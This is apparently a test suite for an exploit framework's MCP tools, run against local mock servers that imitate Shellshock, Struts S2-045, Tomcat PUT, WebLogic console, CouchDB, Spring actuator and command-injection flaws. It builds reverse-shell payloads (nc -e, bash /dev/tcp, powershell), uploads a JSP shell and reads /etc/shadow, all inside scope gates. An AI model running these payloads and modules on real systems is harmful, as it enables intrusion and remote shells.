weblogic_console (CVE-2020-14882), couchdb_admin (admin party) and actuator_env (Spring Boot /env) join the exploit registry: eleven modules. A write was confirmed on a bare 200. couchdb_admin and actuator_env now re-read the section or the property and set read_back; a fixture that accepts every POST/PUT and stores nothing keeps them at confirmed=false. Missing run arguments (section, name, param, script, handle) came back as JSON with an "error" member and isError unset, which reads like a statement about the target; the ctx carries a usage flag and the reply is mcp_reply_error now, the shape every other tool's argument error has. url2 double-encodes for real; payload_build gained a json encoder. Tests: 1576 checks pass (was 1564), coverage 84.8%, release-check exit 0 including distcheck 1.98.0 from the tarball (1576/1576). Red proof: dropping the two read-back x_find comparisons turns exactly those two checks red (1553 pass, 2 fail) and they were restored afterwards.
685 lines
28 KiB
Python
685 lines
28 KiB
Python
# ===========================================================================
|
|
# exploit framework: modules, check, run, payloads, evidence
|
|
# ===========================================================================
|
|
print("\n== exploit framework ==")
|
|
|
|
|
|
class _ShockHandler(http.server.BaseHTTPRequestHandler):
|
|
"""A CGI-ish script that shows what bash would do with the header: it
|
|
evaluates the function definition, which is exactly the bug."""
|
|
|
|
def do_GET(self):
|
|
ua = self.headers.get("User-Agent", "")
|
|
cmd = self.headers.get("X-Cmd", "")
|
|
out = ""
|
|
if "() { :;};" in ua:
|
|
# the part after the definition is what bash runs
|
|
rest = ua.split("};", 1)[1].strip()
|
|
if rest.startswith("echo "):
|
|
out = rest[5:]
|
|
elif rest:
|
|
out = "ran:" + rest
|
|
body = ("<html>" + out + "</html>").encode()
|
|
self.send_response(200)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _StrutsHandler(http.server.BaseHTTPRequestHandler):
|
|
"""Evaluates the OGNL that S2-045 lets through: addHeader on the response."""
|
|
|
|
def do_POST(self):
|
|
ctype = self.headers.get("Content-Type", "")
|
|
self.send_response(200)
|
|
m = re.search(r"addHeader\('([^']+)','([^']*)'\)", ctype)
|
|
if m:
|
|
self.send_header(m.group(1), m.group(2))
|
|
elif "Base64@getDecoder" in ctype:
|
|
self.send_header("X-Out", "uid=0(root) gid=0(root)")
|
|
body = b"ok"
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _PutHandler(http.server.BaseHTTPRequestHandler):
|
|
"""A DefaultServlet with readonly=false: PUT stores, GET serves."""
|
|
|
|
files = {}
|
|
|
|
def do_PUT(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
self.files[self.path] = self.rfile.read(n)
|
|
self.send_response(201)
|
|
self.send_header("Content-Length", "0")
|
|
self.end_headers()
|
|
|
|
def do_GET(self):
|
|
if self.path not in self.files:
|
|
self.send_response(404)
|
|
self.send_header("Content-Length", "0")
|
|
self.end_headers()
|
|
return
|
|
body = self.files[self.path]
|
|
# a .jsp is rendered, not echoed
|
|
if self.path.endswith(".jsp"):
|
|
m = re.search(rb'out\.print\("([^"]*)"\)', body)
|
|
if m:
|
|
body = m.group(1)
|
|
self.send_response(200)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def do_DELETE(self):
|
|
gone = self.files.pop(self.path, None)
|
|
self.send_response(204 if gone is not None else 404)
|
|
self.send_header("Content-Length", "0")
|
|
self.end_headers()
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _TraversalHandler(http.server.BaseHTTPRequestHandler):
|
|
"""The httpd bug: an encoded dot walks out of the document root."""
|
|
|
|
def do_GET(self):
|
|
if ".%2e" in self.path or ".%25%32%65" in self.path:
|
|
body = b"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n"
|
|
self.send_response(200)
|
|
else:
|
|
body = b"not found"
|
|
self.send_response(404)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
|
|
"""An unauthenticated /script that evaluates one Groovy expression."""
|
|
|
|
def do_POST(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
raw = self.rfile.read(n).decode("latin-1")
|
|
qs = urllib.parse.parse_qs(raw)
|
|
script = qs.get("script", [""])[0]
|
|
out = ""
|
|
m = re.match(r"println\((\d+)\*(\d+)\)", script)
|
|
if m:
|
|
out = str(int(m.group(1)) * int(m.group(2)))
|
|
elif "execute" in script:
|
|
out = "groovy-ran"
|
|
body = ("<pre>" + out + "</pre>").encode()
|
|
self.send_response(200)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _WeblogicHandler(http.server.BaseHTTPRequestHandler):
|
|
"""The October 2020 console: the double-encoded path reaches the console
|
|
servlet; a normal /console request gets a 302 to the login page."""
|
|
|
|
def do_POST(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
raw = self.rfile.read(n).decode("latin-1")
|
|
if "%252e%252e%252f" in self.path:
|
|
body = ("<html><title>WebLogic Server Console</title>"
|
|
+ ("handled:" + raw if "handle=" in raw else "") +
|
|
"</html>").encode()
|
|
self.send_response(200)
|
|
else:
|
|
body = b"redirect"
|
|
self.send_response(302)
|
|
self.send_header("Location", "/console/login/LoginForm.jsp")
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _CouchdbHandler(http.server.BaseHTTPRequestHandler):
|
|
"""Admin party: _config answers without credentials; a non-admin instance
|
|
would answer 401."""
|
|
|
|
config = {"query_server_config": {"os_process_timeout": "5000"}}
|
|
|
|
def _reply(self, code, payload):
|
|
body = json.dumps(payload).encode()
|
|
self.send_response(code)
|
|
self.send_header("Content-Type", "application/json")
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def do_GET(self):
|
|
parts = self.path.strip("/").split("/")
|
|
if self.path == "/_config":
|
|
self._reply(200, self.config)
|
|
elif len(parts) == 2 and parts[0] == "_config" and parts[1] in self.config:
|
|
self._reply(200, self.config[parts[1]])
|
|
else:
|
|
self._reply(404, {"error": "not_found"})
|
|
|
|
def do_PUT(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
value = self.rfile.read(n).decode("latin-1")
|
|
parts = self.path.strip("/").split("/")
|
|
if len(parts) == 3 and parts[0] == "_config":
|
|
self.config.setdefault(parts[1], {})[parts[2]] = value
|
|
self._reply(200, value)
|
|
else:
|
|
self._reply(400, {"error": "bad_request"})
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _ActuatorHandler(http.server.BaseHTTPRequestHandler):
|
|
"""An unauthenticated management port with a writable /env."""
|
|
|
|
props = {"server.port": "8080"}
|
|
|
|
def _reply(self, code, payload):
|
|
body = json.dumps(payload).encode()
|
|
self.send_response(code)
|
|
self.send_header("Content-Type", "application/json")
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def do_GET(self):
|
|
if self.path == "/actuator/env":
|
|
self._reply(200, {"activeProfiles": [],
|
|
"propertySources": [{"name": "server",
|
|
"properties": self.props}]})
|
|
else:
|
|
self._reply(404, {"error": "not_found"})
|
|
|
|
def do_POST(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
try:
|
|
data = json.loads(self.rfile.read(n).decode("latin-1"))
|
|
except ValueError:
|
|
self._reply(400, {"error": "bad_json"})
|
|
return
|
|
self.props[data.get("name", "")] = data.get("value", "")
|
|
self._reply(200, {"name": data.get("name"),
|
|
"value": data.get("value")})
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _InjectHandler(http.server.BaseHTTPRequestHandler):
|
|
"""A parameter that reaches a shell with a naive filter: '&&' and '&' are
|
|
blocked, everything that contains ';' or '|' is passed through. That makes
|
|
';', '|' and '||' execute, which is what a broken sanitiser looks like."""
|
|
|
|
def _answer(self, value):
|
|
if "&&" in value or ("&" in value and "&&" not in value):
|
|
return ""
|
|
for op in (";", "|"):
|
|
if op in value:
|
|
return value.split(op, 1)[1].replace("echo ", "").strip()
|
|
return ""
|
|
|
|
def do_GET(self):
|
|
parts = urllib.parse.urlsplit(self.path)
|
|
qs = urllib.parse.parse_qs(parts.query)
|
|
out = self._answer(qs.get("cmd", [""])[0])
|
|
body = ("result: " + out).encode()
|
|
self.send_response(200)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def do_POST(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
qs = urllib.parse.parse_qs(self.rfile.read(n).decode("latin-1"))
|
|
out = self._answer(qs.get("cmd", [""])[0])
|
|
body = ("result: " + out).encode()
|
|
self.send_response(200)
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
class _LiarHandler(http.server.BaseHTTPRequestHandler):
|
|
"""Accepts every write with a 200 and stores nothing. A module that calls
|
|
that "confirmed" is lying to the operator, so this fixture exists to make
|
|
the run modes prove a read-back instead of trusting the status code. It
|
|
answers the CouchDB and the actuator shapes, because both had that bug."""
|
|
|
|
def _reply(self, code, payload):
|
|
body = json.dumps(payload).encode()
|
|
self.send_response(code)
|
|
self.send_header("Content-Type", "application/json")
|
|
self.send_header("Content-Length", str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def do_GET(self):
|
|
if self.path == "/actuator/env":
|
|
self._reply(200, {"activeProfiles": [],
|
|
"propertySources": [{"name": "x",
|
|
"properties": {}}]})
|
|
elif self.path == "/_config":
|
|
self._reply(200, {"query_server_config": {}})
|
|
else:
|
|
self._reply(200, {})
|
|
|
|
def do_POST(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
self.rfile.read(n)
|
|
self._reply(200, {"ok": 1})
|
|
|
|
def do_PUT(self):
|
|
n = int(self.headers.get("Content-Length", "0"))
|
|
self.rfile.read(n)
|
|
self._reply(200, "ok")
|
|
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
|
|
exp_targets = {}
|
|
exp_servers = []
|
|
for _name, _h in (("shock", _ShockHandler), ("struts", _StrutsHandler),
|
|
("put", _PutHandler), ("trav", _TraversalHandler),
|
|
("jenkins", _JenkinsHandler), ("inject", _InjectHandler),
|
|
("weblogic", _WeblogicHandler), ("couchdb", _CouchdbHandler),
|
|
("actuator", _ActuatorHandler), ("liar", _LiarHandler)):
|
|
_s = http.server.HTTPServer(("127.0.0.1", 0), _h)
|
|
exp_targets[_name] = _s.server_address[1]
|
|
exp_servers.append(_s)
|
|
threading.Thread(target=_s.serve_forever, daemon=True).start()
|
|
|
|
exp_home = tempfile.mkdtemp(prefix="apex-exp-home-")
|
|
write_scope(exp_home, {
|
|
"label": "exploit", "expires": "2099-12-31T23:59:59Z",
|
|
"allow_private": True, "allow_ip": ["127.0.0.1"],
|
|
"allow_port": [str(p) for p in exp_targets.values()],
|
|
})
|
|
|
|
# --- catalogue -------------------------------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_modules"),
|
|
call(2, "exploit_info", module="shellshock"),
|
|
call(3, "exploit_info", module="no-such-module"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
mods = json.loads(text(by_id[1]))
|
|
ids = {m["id"] for m in mods["modules"]}
|
|
check("exploit_modules lists the shipped modules",
|
|
{"shellshock", "log4shell", "struts2_s2045", "tomcat_put",
|
|
"redis_write", "cmd_inject", "traversal", "jenkins_script"} <= ids,
|
|
sorted(ids))
|
|
check("exploit_modules reports its own count",
|
|
mods["count"] == len(mods["modules"]), mods["count"])
|
|
check("exploit_modules carries a CVE where the bug has one",
|
|
all(m["cve"] for m in mods["modules"]
|
|
if m["id"] not in ("cmd_inject", "jenkins_script",
|
|
"couchdb_admin", "actuator_env")),
|
|
[m["id"] for m in mods["modules"] if not m["cve"]])
|
|
info = json.loads(text(by_id[2]))
|
|
check("exploit_info describes run parameters and remediation",
|
|
"command" in info["run_params"] and info["severity"] == "critical"
|
|
and "bash" in info["remediation"], info)
|
|
check("exploit_info refuses an unknown module", err(by_id[3]), by_id[3])
|
|
|
|
# --- check: shellshock -----------------------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["shock"], tls=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
r = json.loads(text(by_id[1]))
|
|
check("exploit_check confirms shellshock and keeps evidence",
|
|
r["confirmed"] is True and r["evidence"], r)
|
|
check("exploit_check writes a finding for a confirmed hit",
|
|
r.get("finding", "").startswith("f"), r.get("finding"))
|
|
check("shellshock check does not run a command",
|
|
"uid=" not in json.dumps(r["detail"]), r["detail"])
|
|
|
|
# record=0: proof without a finding
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["shock"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
r = json.loads(text(by_id[1]))
|
|
check("record=false leaves the finding store alone",
|
|
r["confirmed"] is True and "finding" not in r, r)
|
|
|
|
# --- run: shellshock runs the operator's command ---------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_run", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["shock"], tls=False, command="uid=0(root)",
|
|
record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
r = json.loads(text(by_id[1]))
|
|
check("exploit_run delivers the operator's command in run mode",
|
|
r["confirmed"] is True and "uid=0(root)" in json.dumps(r["detail"]), r)
|
|
check("exploit_run marks the mode", r["mode"] == "run", r.get("mode"))
|
|
|
|
# --- check: Struts2 --------------------------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="struts2_s2045", target="127.0.0.1",
|
|
port=exp_targets["struts"], tls=False, record=False),
|
|
call(2, "exploit_run", module="struts2_s2045", target="127.0.0.1",
|
|
port=exp_targets["struts"], tls=False, command="id", record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
s2 = json.loads(text(by_id[1]))
|
|
check("exploit_check confirms Struts2 through the injected header",
|
|
s2["confirmed"] is True and s2["detail"]["injected_header"], s2)
|
|
s2r = json.loads(text(by_id[2]))
|
|
check("exploit_run returns the command output of S2-045",
|
|
s2r["confirmed"] is True and "uid=0" in json.dumps(s2r["detail"]), s2r)
|
|
|
|
# --- check and run: Tomcat PUT --------------------------------------------
|
|
_PutHandler.files.clear()
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="tomcat_put", target="127.0.0.1",
|
|
port=exp_targets["put"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
tp = json.loads(text(by_id[1]))
|
|
check("exploit_check proves Tomcat PUT by executing the JSP",
|
|
tp["confirmed"] is True and tp["detail"]["executed"] is True, tp)
|
|
check("tomcat check cleans up after itself",
|
|
tp["detail"].get("delete_status") in (204, 404), tp["detail"])
|
|
check("tomcat check left no file behind", _PutHandler.files == {},
|
|
list(_PutHandler.files))
|
|
|
|
res, _ = run([
|
|
call(1, "exploit_run", module="tomcat_put", target="127.0.0.1",
|
|
port=exp_targets["put"], tls=False, record=False,
|
|
filename="shell.jsp", content='<% out.print("PWNED"); %>'),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
tpr = json.loads(text(by_id[1]))
|
|
check("exploit_run uploads the operator's JSP and leaves it there",
|
|
tpr["confirmed"] is True and "/shell.jsp" in _PutHandler.files, tpr)
|
|
check("tomcat run reports the delivered content", "PWNED" in json.dumps(tpr), tpr)
|
|
|
|
# --- check: traversal ------------------------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="traversal", target="127.0.0.1",
|
|
port=exp_targets["trav"], tls=False, record=False),
|
|
call(2, "exploit_run", module="traversal", target="127.0.0.1",
|
|
port=exp_targets["trav"], tls=False, record=False,
|
|
file="/etc/shadow"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
tv = json.loads(text(by_id[1]))
|
|
check("exploit_check confirms the Apache traversal with /etc/passwd",
|
|
tv["confirmed"] is True and "root:x:0:0" in json.dumps(tv), tv)
|
|
tv2 = json.loads(text(by_id[2]))
|
|
check("exploit_run reads the file the operator named",
|
|
tv2["confirmed"] is True and tv2["detail"]["path"].endswith("/etc/shadow"),
|
|
tv2["detail"]["path"])
|
|
|
|
# --- check: Jenkins script console ----------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="jenkins_script", target="127.0.0.1",
|
|
port=exp_targets["jenkins"], tls=False, record=False),
|
|
call(2, "exploit_run", module="jenkins_script", target="127.0.0.1",
|
|
port=exp_targets["jenkins"], tls=False, record=False,
|
|
script='println(1); "x".execute()'),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
jk = json.loads(text(by_id[1]))
|
|
check("exploit_check evaluates a multiplication in the Groovy console",
|
|
jk["confirmed"] is True, jk)
|
|
jkr = json.loads(text(by_id[2]))
|
|
check("exploit_run evaluates the operator's script",
|
|
jkr["confirmed"] is True, jkr)
|
|
|
|
# --- check and run: command injection ------------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="cmd_inject", target="127.0.0.1",
|
|
port=exp_targets["inject"], tls=False, record=False,
|
|
param="cmd", path="/run"),
|
|
call(2, "exploit_run", module="cmd_inject", target="127.0.0.1",
|
|
port=exp_targets["inject"], tls=False, record=False,
|
|
param="cmd", path="/run", command="id", op="auto"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
ci = json.loads(text(by_id[1]))
|
|
ops = {o["op"] for o in ci["detail"]["operators"] if o["hit"]}
|
|
check("exploit_check reports which operators the target executed",
|
|
ci["confirmed"] is True and ops == {";", "|", "||"}, ci["detail"])
|
|
cir = json.loads(text(by_id[2]))
|
|
check("exploit_run with op=auto finds the working operator",
|
|
cir["confirmed"] is True and cir["detail"]["op"] == ";", cir["detail"])
|
|
|
|
# --- protocol failures are reported, not silently empty -----------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["jenkins"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
nf = json.loads(text(by_id[1]))
|
|
check("a module that gets no proof says confirmed=false, not an error",
|
|
nf["confirmed"] is False and "error" not in nf, nf)
|
|
|
|
# --- redis: real protocol, no server needed for the negative case --------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="redis_write", target="127.0.0.1",
|
|
port=exp_targets["jenkins"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
rd = json.loads(text(by_id[1]))
|
|
check("redis_write reports a non-Redis port instead of hanging",
|
|
"not an unauthenticated Redis" in rd.get("error", ""), rd)
|
|
|
|
# --- payloads -------------------------------------------------------------
|
|
res, _ = run([
|
|
call(1, "payload_list"),
|
|
call(2, "payload_build", template="nc_e", lhost="10.0.0.5", lport="9001"),
|
|
call(3, "payload_build", template="bash_devtcp", lhost="10.0.0.5",
|
|
lport="9001", encode="url"),
|
|
call(4, "payload_build", text="echo {cmd}", command="id", encode="b64"),
|
|
call(5, "payload_build", template="nope"),
|
|
call(6, "payload_build", template="powershell", lhost="10.0.0.5",
|
|
lport="443"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
pl = json.loads(text(by_id[1]))
|
|
check("payload_list carries templates and encoders",
|
|
len(pl["templates"]) >= 10 and "url" in pl["encoders"]
|
|
and "b64url" in pl["encoders"], len(pl["templates"]))
|
|
p2 = json.loads(text(by_id[2]))
|
|
check("payload_build fills host and port into a template",
|
|
p2["payload"] == "nc -e /bin/sh 10.0.0.5 9001", p2["payload"])
|
|
p3 = json.loads(text(by_id[3]))
|
|
check("payload_build url-encodes the rendered payload",
|
|
"%20" in p3["payload"] and "%2Fdev%2Ftcp" in p3["payload"], p3["payload"])
|
|
p4 = json.loads(text(by_id[4]))
|
|
check("payload_build base64-encodes arbitrary text",
|
|
base64.b64decode(p4["payload"]).decode() == "echo id", p4["payload"])
|
|
check("payload_build refuses an unknown template", err(by_id[5]), by_id[5])
|
|
p6 = json.loads(text(by_id[6]))
|
|
check("the powershell template carries host and port, not braces",
|
|
"{lhost}" not in p6["payload"] and "10.0.0.5" in p6["payload"], p6)
|
|
|
|
# every encoder named by payload_list must actually produce something
|
|
res, _ = run([call(i, "payload_build", text="A z/", encode=e)
|
|
for i, e in enumerate(["raw", "url", "url2", "b64", "b64url",
|
|
"hex", "octal", "html", "unicode",
|
|
"charcodes"], start=1)], home=exp_home)
|
|
enc_out = {r.get("id"): json.loads(text(r))["payload"] for r in res}
|
|
check("url2 double-encodes the percent signs",
|
|
enc_out[3] == "A%2520z%252F", enc_out[3])
|
|
check("hex encodes as for a shell string",
|
|
enc_out[6] == "\\x41\\x20\\x7a\\x2f", enc_out[6])
|
|
check("octal encodes as for a shell string",
|
|
enc_out[7] == "\\101\\040\\172\\057", enc_out[7])
|
|
check("html and unicode use the numeric form",
|
|
enc_out[8] == "A z/"
|
|
and enc_out[9] == "\\u0041\\u0020\\u007a\\u002f", (enc_out[8], enc_out[9]))
|
|
check("charcodes is a comma separated list",
|
|
enc_out[10] == "65,32,122,47", enc_out[10])
|
|
|
|
# --- check and run: the three newer modules ------------------------------
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
|
port=exp_targets["weblogic"], tls=False, record=False),
|
|
call(2, "exploit_run", module="weblogic_console", target="127.0.0.1",
|
|
port=exp_targets["weblogic"], tls=False, record=False,
|
|
handle="handle=weblogic.management.mbeanservers:domainRuntime"
|
|
"%3AMBeanServer&action=run&command=id"),
|
|
call(3, "exploit_modules"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
wlc = json.loads(text(by_id[1]))
|
|
check("exploit_check confirms the WebLogic console bypass",
|
|
wlc["confirmed"] is True and wlc["evidence"], wlc)
|
|
wlr = json.loads(text(by_id[2]))
|
|
check("exploit_run sends the operator's console handle",
|
|
wlr["confirmed"] is True, wlr)
|
|
mods = json.loads(text(by_id[3]))
|
|
check("the registry lists the newer modules",
|
|
{"weblogic_console", "couchdb_admin", "actuator_env"} <=
|
|
{m["id"] for m in mods["modules"]}, sorted(m["id"] for m in
|
|
mods["modules"]))
|
|
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="couchdb_admin", target="127.0.0.1",
|
|
port=exp_targets["couchdb"], tls=False, record=False),
|
|
call(2, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
|
port=exp_targets["couchdb"], tls=False, record=False,
|
|
section="query_server_config", key="os_process_timeout",
|
|
value="1"),
|
|
call(3, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
|
port=exp_targets["couchdb"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
cdb = json.loads(text(by_id[1]))
|
|
check("exploit_check reads CouchDB _config without credentials",
|
|
cdb["confirmed"] is True and "query_server_config" in
|
|
json.dumps(cdb["detail"]), cdb["detail"])
|
|
cdr = json.loads(text(by_id[2]))
|
|
check("exploit_run writes the operator's CouchDB key",
|
|
cdr["confirmed"] is True and cdr["detail"].get("read_back") is True, cdr)
|
|
check("couchdb run without a section is refused, not guessed",
|
|
err(by_id[3]), by_id[3])
|
|
|
|
res, _ = run([
|
|
call(1, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
|
port=exp_targets["liar"], tls=False, record=False,
|
|
section="query_server_config", key="k", value="zzz"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
cdl = json.loads(text(by_id[1]))
|
|
check("a 200 on the write without a read-back is not a confirmation",
|
|
cdl["confirmed"] is False, cdl)
|
|
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="actuator_env", target="127.0.0.1",
|
|
port=exp_targets["actuator"], tls=False, record=False),
|
|
call(2, "exploit_run", module="actuator_env", target="127.0.0.1",
|
|
port=exp_targets["actuator"], tls=False, record=False,
|
|
name="eureka.client.serviceUrl.defaultZone",
|
|
value="http://127.0.0.1:9/x"),
|
|
call(3, "exploit_run", module="actuator_env", target="127.0.0.1",
|
|
port=exp_targets["actuator"], tls=False, record=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
act = json.loads(text(by_id[1]))
|
|
check("exploit_check reads the actuator env",
|
|
act["confirmed"] is True and "propertySources" in
|
|
json.dumps(act["detail"]), act["detail"])
|
|
actr = json.loads(text(by_id[2]))
|
|
check("exploit_run posts the operator's property",
|
|
actr["confirmed"] is True and actr["detail"].get("read_back") is True,
|
|
actr)
|
|
check("actuator run without a name is refused, not guessed",
|
|
err(by_id[3]), by_id[3])
|
|
|
|
res, _ = run([
|
|
call(1, "exploit_run", module="actuator_env", target="127.0.0.1",
|
|
port=exp_targets["liar"], tls=False, record=False,
|
|
name="zw.spel", value="zzz"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
actl = json.loads(text(by_id[1]))
|
|
check("actuator env does not trust a 200 without the property coming back",
|
|
actl["confirmed"] is False, actl)
|
|
|
|
# a plain 302 from the console is the patched answer, not a hit
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
|
port=exp_targets["weblogic"], tls=False, record=False,
|
|
path="/console/login/LoginForm.jsp"),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
wlp = json.loads(text(by_id[1]))
|
|
check("the console login page is not reported as a bypass",
|
|
wlp["confirmed"] is False and "302" in json.dumps(wlp["detail"]), wlp)
|
|
|
|
# --- the gate still decides ----------------------------------------------
|
|
exp_noscope = tempfile.mkdtemp(prefix="apex-exp-noscope-")
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="198.51.100.9",
|
|
port=80),
|
|
call(2, "exploit_run", module="shellshock", target="198.51.100.9",
|
|
port=80, command="id"),
|
|
call(3, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["shock"], tls=False),
|
|
], home=exp_noscope)
|
|
by_id = {r.get("id"): r for r in res}
|
|
check("exploit_check refuses an out-of-scope target", err(by_id[1]), by_id[1])
|
|
check("exploit_run refuses an out-of-scope target", err(by_id[2]), by_id[2])
|
|
check("exploit_check refuses everything when no scope is loaded",
|
|
err(by_id[3]), by_id[3])
|
|
check("the refusal names the gate", "REFUSED" in text(by_id[1]), text(by_id[1]))
|
|
|
|
# an out-of-scope port on an in-scope host is refused too
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=22, tls=False),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
check("exploit_check refuses a port outside allow_port", err(by_id[1]),
|
|
text(by_id[1]))
|
|
|
|
# the audit log has a line per exploit call
|
|
res, _ = run([
|
|
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
|
|
port=exp_targets["shock"], tls=False, record=False),
|
|
call(2, "audit_log", limit=5),
|
|
], home=exp_home)
|
|
by_id = {r.get("id"): r for r in res}
|
|
log = json.loads(text(by_id[2]))
|
|
lines = log.get("lines") if isinstance(log, dict) else log
|
|
check("exploit_check writes an audit line before it acts",
|
|
any("exploit_check" in json.dumps(ln) for ln in lines), lines)
|
|
|
|
for _s in exp_servers:
|
|
_s.shutdown()
|
|
_s.server_close()
|
|
shutil.rmtree(exp_home, ignore_errors=True)
|